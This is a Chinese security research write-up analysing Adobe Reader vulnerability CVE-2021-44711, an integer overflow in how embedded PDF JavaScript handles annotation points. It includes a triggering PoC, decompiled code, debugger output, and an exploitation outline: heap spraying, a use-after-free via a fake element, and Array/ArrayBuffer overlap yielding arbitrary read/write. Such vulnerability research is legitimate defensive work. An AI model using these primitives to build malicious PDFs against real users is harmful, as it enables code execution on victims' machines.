Adobe Reader 漏洞 CVE-2021-44711 利用浅析

作者: 360漏洞研究院 李双 王志远 willJ 分类: 安全研究,漏洞分析 发布时间: 2022-06-10 10:43

背景

Adobe Reader 在今年 1 月份对外发布的安全补丁中,修复了一个由 Cisco Talos安全团队报告的安全漏洞,漏洞编号 CVE-2021-44711,经过分析,该漏洞与我们完成漏洞利用所使用的漏洞一致. 漏洞存在于与注释进行交互的 JavaScript 代码中, 通过构造特定的 PDF 文档可以触发此漏洞, 从而导致任意代码执行.

软件版本

Adobe Acrobat Reader DC 2021.007.20099

漏洞分析

Adobe Reader 支持在 PDF 文档中嵌入 JavaScript 代码以对 PDF 文档中的注释进行操作. 然而 JavaScript 中对注释进行操作的 Annotation 对象在实现上存在整数溢出漏洞.

poc 如下:

var _obj = {};
_obj[-1] = null;
var _annot = this.addAnnot({page:0, type:"Line", points:_obj});

Annotation 对象的 points 属性是一个由两个点 [[x1, y1], [x2, y2]] 组成的数组, 指定默认用户空间中直线的起点和终点坐标.

但是 JavaScript 是弱类型语言, 这意味着对于所有赋予的值都会首先尝试转转换成所需的目标类型. 所以当赋予一个在索引 -1 处存在元素的数组时也会尝试解析. 漏洞就存在于对 -1 的错误处理之中.

对数组的类型转换(此处的数组、元素、类型等与 JavaScript 中的概念并不一一对应, 但具有相关性, 下文都不作严格区分)位于 sub_22132EC6 函数当中:

// ...

      do
      {
        v13 = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 28))(
                        *(_DWORD *)(dword_22747430 + 28),
                        *(unsigned __int16 *)(v11 + 16));
        v14 = atoi(v13);
        v15 = v28;
        v16 = v14;
        v29 = 0x30;
        v17 = v28[1] - *v28;
        HIDWORD(v24) = *v28;
        v25 = v16;
        if ( v17 / 0x30 > v16 )
        {
          v18 = HIDWORD(v24);
        }
        else
        {
          resize(v28, v16 + 1, (int)v31);
          v18 = *v15;
          v16 = v25;
        }
        sub_2212379A(v18 + 0x30 * v16, (_DWORD *)(v11 + 0x18));
        result = sub_2212A202((int *)&v26);
        v11 = (int)v26;
      }
      while ( v26 != *v12 );

      // ...

函数当中 v13 为数组元素的索引, v17 为数组当前的总大小, 0x30 为每个元素的大小. 此处应该是以线性模式存储数组元素, 因此数组的大小为 ArraySize = (MaxIndex + 1) * 0x30, 因为索引 0 也要占用空间, 所以总大小需要加 1.

当遇到索引 -1 时, 加 1 溢出为 0, 因此 resise() 函数的目标 size 为 0, 避免了重新分配过大内存导致的崩溃. 事实上, 如果 size 过大会在 resize() 函数中抛出异常:

eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd1e esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
Annots!PlugInMain+0x51eee:
0adcfd1e 817d0855555505  cmp     dword ptr [ebp+8],5555555h ss:0023:030fb74c=ffffffff
0:000> p
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd25 esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
Annots!PlugInMain+0x51ef5:
0adcfd25 0f879e000000    ja      Annots!PlugInMain+0x51f99 (0adcfdc9)    [br=1]
0:000>
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfdc9 esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
Annots!PlugInMain+0x51f99:
0adcfdc9 e8a9fa0000      call    Annots!PlugInMain+0x61a47 (0addf877)
0:000>
(12b4.7a4): C++ EH exception - code e06d7363 (first chance)
WARNING: Step/trace thread exited
eax=00000024 ebx=030fc328 ecx=030fae7c edx=77ec2740 esi=7a76ab50 edi=030fb1fc
eip=77ec2740 esp=030fae7c ebp=030fae8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77ec2740 c3              ret

通过 resize() 函数后, 调用 sub_2212379A() 函数对当前索引指向的元素进行类型转换. 函数的第一个参数为当前元素对象, 通过数组基址加偏移量得出, 即 v18 + 0x30 * v16. 由于 v16-1, 所以导致了越界访问, 从而导致崩溃:

(628.f7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d62490a0 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=0ae83a2d esp=0311b92c ebp=0311b954 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
Annots!PlugInMain+0x5bfd:
0ae83a2d 833f01          cmp     dword ptr [edi],1    ds:0023:ffffffd0=????????

漏洞利用

到此为止仅仅是一个内存越界访问的漏洞, 然而幸运的是这是一个对元素进行类型转换的函数, 针对元素不同的类型提供了大量的转换函数:

int __thiscall sub_221289D1(_DWORD *this, _BYTE *a2)
{
  int result; // eax

  result = (int)a2;
  *a2 = 1;
  switch ( *this )
  {
    case 0:
      result = sub_22128B51(a2);
      break;
    case 1:
      result = sub_2216D093(a2);
      break;
    case 2:
      result = sub_222657E3(a2);
      break;
    case 3:
      result = sub_22266607(a2);
      break;
    case 4:
      result = sub_222668EA((uintptr_t)this, (int)a2);
      break;
    case 5:
      result = sub_22266890(a2);
      break;
    case 6:
      result = sub_221377AC(a2);
      break;
    case 7:
      result = sub_22137970(a2);
      break;
    case 8:
      result = sub_22132C7F(a2);
      break;
    case 9:
      result = sub_221681B8(a2);
      break;
    case 0xA:
      result = sub_2213F311(a2);
      break;
    case 0xB:
      result = sub_22168060((unsigned int)this, (int)a2);
      break;
    case 0xC:
      result = sub_22170AE1(a2);
      break;
    case 0xD:
      result = sub_221754BB(a2);
      break;
    case 0xE:
      result = sub_2226621E(a2);
      break;
    case 0xF:
      result = sub_221702EF(a2);
      break;
    case 0x10:
      result = sub_22265C44(a2);
      break;
    case 0x11:
      result = sub_2226583D(a2);
      break;
    case 0x12:
      result = sub_22265338(a2);
      break;
    case 0x13:
      result = sub_2213EDB4(a2);
      break;
    case 0x14:
      result = sub_22132EC6(a2);
      break;
    case 0x15:
      result = sub_2213F9FE(a2);
      break;
    case 0x16:
      result = sub_22265065(a2);
      break;
    case 0x17:
      result = sub_222665E8(a2);
      break;
    case 0x18:
      result = sub_22265206(a2);
      break;
    case 0x19:
      result = sub_22266A83(a2);
      break;
    case 0x1A:
      result = sub_22265445(a2);
      break;
    default:
      return result;
  }
  return result;
}

这也就为我们提供了丰富的漏洞利用原语. 我们可以提前布局内存伪造元素对象, 并通过修改功能号 *this 来调用任意一个类型转换函数.

通常, 我们期待得到一次越界写的机会或者 UAF 的机会. 在这个 case 中, 越界写很难得到, 虽然在几个分支函数中存在越界写的可能, 但大多都难以到达或者越界写后难以返回. 相对比来说, UAF 更为容易, 在多个分支函数中均存在对成员对象的析构. 其中最为稳定, 干扰最少的应该是功能号为 0x1a 的函数 sub_22265445.

伪造对象与内存布局

为了伪造元素对象, 我们需要数组被构造为一个合适的大小, 因此修改 poc 如下:

var _annot = this.addAnnot({page:0, type:"Line"});
var _obj = {};
_obj[2] = 2;
_annot.points = _obj;
_obj[-1] = null;
_annot.points = _obj;

伪造的对象只需要构造出功能号和需要 free 的目标对象指针即可:

fakelement = new Array(0x10);
fakelement[11] = 0x1a;
fakelement[12] = 0x20000048;

其在内存当中如下

                |          |          |          |          |
Array Object -> +----------+----------+----------+----------+
                |          |          | capacity |  length  |
        0x10 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x20 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x30 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x40 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x50 -> +----------+----------+----------+----------+
                |          |          |          |          |
fake element -> +----------+----------+----------+----------+
                |          |          | func id  |          |
        0x70 -> +----------+----------+----------+----------+
                | free ptr |          |          |          |
        0x80 -> +----------+----------+----------+----------+
                |          |          |          |          |
        base -> +----------+----------+----------+----------+
                |          |          |          |          |

这里的 free ptr 需要结合一个信息泄露来完成, 但是在 32 位上, 我们可以直接通过 Array 对象堆喷来得到稳定的地址 0x20000048; 另一方面, 通过 Array 对象可以更方便的完成后续的任意读写.

所以这里我们需要完成两次堆喷:

  • 一次是 0x1a 大小的 Array 对象, 用于通过漏洞越界访问到我们伪造的内存当中.
  • 一次是 0x1ffd 大小的 Array 对象, 用于产生稳定的地址并得到一个 UAF 的对象进行后续利用.

任意地址读写

布局完成后, 触发漏洞我们可以得到一个位于地址 0x20000048 处的被 free 的 Array 对象.

此时我们通过 ArrayBuffer 抢占这块被 free 的内存, 可以实现 Array 对象和 ArrayBuffer 的 overlap.

Array 对象的 lengh 属性与 ArrayBuffer 对象的 length 属性在内存布局中处于同一位置, 然而两者的定义不同: Array 对象的 length 属性指的是元素的个数; 而 ArrayBuffer 对象的 length 属性则是指以 uint8 为单位的空间大小. 因此被 overlap 的 Array 对象的 length 变大, 实现了越界读写.

为了更进一步实现任意读写, 可以释放掉被 free 的 Array 对象的下一个 Array 对象, 并用 ArrayBuffer 对象抢占, 然后通过我们的越界读写能力修改 ArrayBufferlength0xffffffff.

后续

实现了任意读写之后, 接下来任意代码执行的工作就比较轻松了. 由于没有太多新奇的内容, 本文就不再赘述.

总结

本文对 CVE-2021-44711 漏洞进行了分析并介绍了一种利用方式. 由于漏洞本身的特性可能还存在许多其他的利用方式和需要改进的地方, 例如能不能通过越界写而不是 UAF 的方式、堆喷能不能由两次改为一次、任意地址读写实现的其他方式等都还可以进行探索. 本文中可能出错的地方还望能够指正.